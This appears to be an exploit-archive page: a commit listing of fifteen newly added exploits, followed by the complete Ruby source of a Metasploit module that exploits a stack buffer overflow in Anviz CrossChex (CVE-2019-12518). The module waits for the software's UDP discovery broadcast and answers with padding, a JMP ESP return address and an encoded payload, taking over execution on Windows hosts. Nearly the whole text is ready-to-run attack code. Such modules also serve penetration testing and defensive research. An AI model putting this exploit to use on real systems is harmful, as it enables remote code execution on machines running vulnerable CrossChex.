228a37da9c
15 changes to exploits/shellcodes HP System Event 1.2.9.0 - 'HPWMISVC' Unquoted Service Path BOOTP Turbo 2.0.1214 - 'BOOTP Turbo' Unquoted Service Path MSI Packages Symbolic Links Processing - Windows 10 Privilege Escalation DHCP Turbo 4.61298 - 'DHCP Turbo 4' Unquoted Service Path TFTP Turbo 4.6.1273 - 'TFTP Turbo 4' Unquoted Service Path Cuckoo Clock v5.0 - Buffer Overflow Anviz CrossChex - Buffer Overflow (Metasploit) SOPlanning 1.45 - 'by' SQL Injection Wordpress Plugin Strong Testimonials 2.40.1 - Persistent Cross-Site Scripting Avaya Aura Communication Manager 5.2 - Remote Code Execution Ice HRM 26.2.0 - Cross-Site Request Forgery (Add User) WordPress Theme Fruitful 3.8 - Persistent Cross-Site Scripting SOPlanning 1.45 - Cross-Site Request Forgery (Add User) SOPlanning 1.45 - 'users' SQL Injection LabVantage 8.3 - Information Disclosure
82 lines
No EOL
3.1 KiB
Ruby
Executable file
82 lines
No EOL
3.1 KiB
Ruby
Executable file
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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PACKET_LEN = 10
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include Msf::Exploit::Remote::Udp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Anviz CrossChex Buffer Overflow',
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'Description' => %q{
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Waits for broadcasts from Ainz CrossChex looking for new devices, and returns a custom broadcast,
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triggering a stack buffer overflow.
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},
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'Author' =>
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[
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'Luis Catarino <lcatarino@protonmail.com>', # original discovery/exploit
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'Pedro Rodrigues <pedrosousarodrigues@protonmail.com>', # original discovery/exploit
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'agalway-r7', # Module creation
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'adfoster-r7' # Module creation
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2019-12518'],
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['URL', 'https://www.0x90.zone/multiple/reverse/2019/11/28/Anviz-pwn.html'],
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['EDB', '47734']
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],
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'Payload' =>
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{
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'Space' => 8947,
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'DisableNops' => true
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},
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'Arch' => ARCH_X86,
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'EncoderType' => Msf::Encoder::Type::Raw,
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'Privileged' => true,
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'Platform' => 'win',
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'DisclosureDate' => '2019-11-28',
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'Targets' =>
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[
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[
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'Crosschex Standard x86 <= V4.3.12',
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{
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'Offset' => 261, # Overwrites memory to allow EIP to be overwritten
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'Ret' => "\x07\x18\x42\x00", # Overwrites EIP with address of 'JMP ESP' assembly command found in CrossChex data
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'Shift' => 4 # Positions payload to be written at beginning of ESP
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}
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]
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],
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'DefaultTarget' => 0
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))
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deregister_udp_options
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register_options(
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[
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Opt::CPORT(5050, true, 'Port used to listen for CrossChex Broadcast.'),
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Opt::CHOST("0.0.0.0", true, 'IP address that UDP Socket listens for CrossChex broadcast on. \'0.0.0.0\' is needed to receive broadcasts.'),
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OptInt.new('TIMEOUT', [true, 'Time in seconds to wait for a CrossChex broadcast. 0 or less waits indefinitely.', 100])
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])
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end
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def exploit
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connect_udp
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res, host, port = udp_sock.recvfrom(PACKET_LEN, datastore["TIMEOUT"].to_i > 0 ? (datastore["TIMEOUT"].to_i) : (nil))
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if res.empty?
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fail_with(Failure::TimeoutExpired, "Module timed out waiting for CrossChex broadcast")
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end
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print_status "CrossChex broadcast received, sending payload in response"
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sploit = rand_text_english(target['Offset'])
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sploit << target.ret # Overwrites EIP with address of 'JMP ESP' assembly command found in CrossChex data
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sploit << rand_text_english(target['Shift']) # Positions payload to be written at beginning of ESP
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sploit << payload.encoded
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udp_sock.sendto(sploit, host, port)
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print_status "Payload sent"
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end
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end |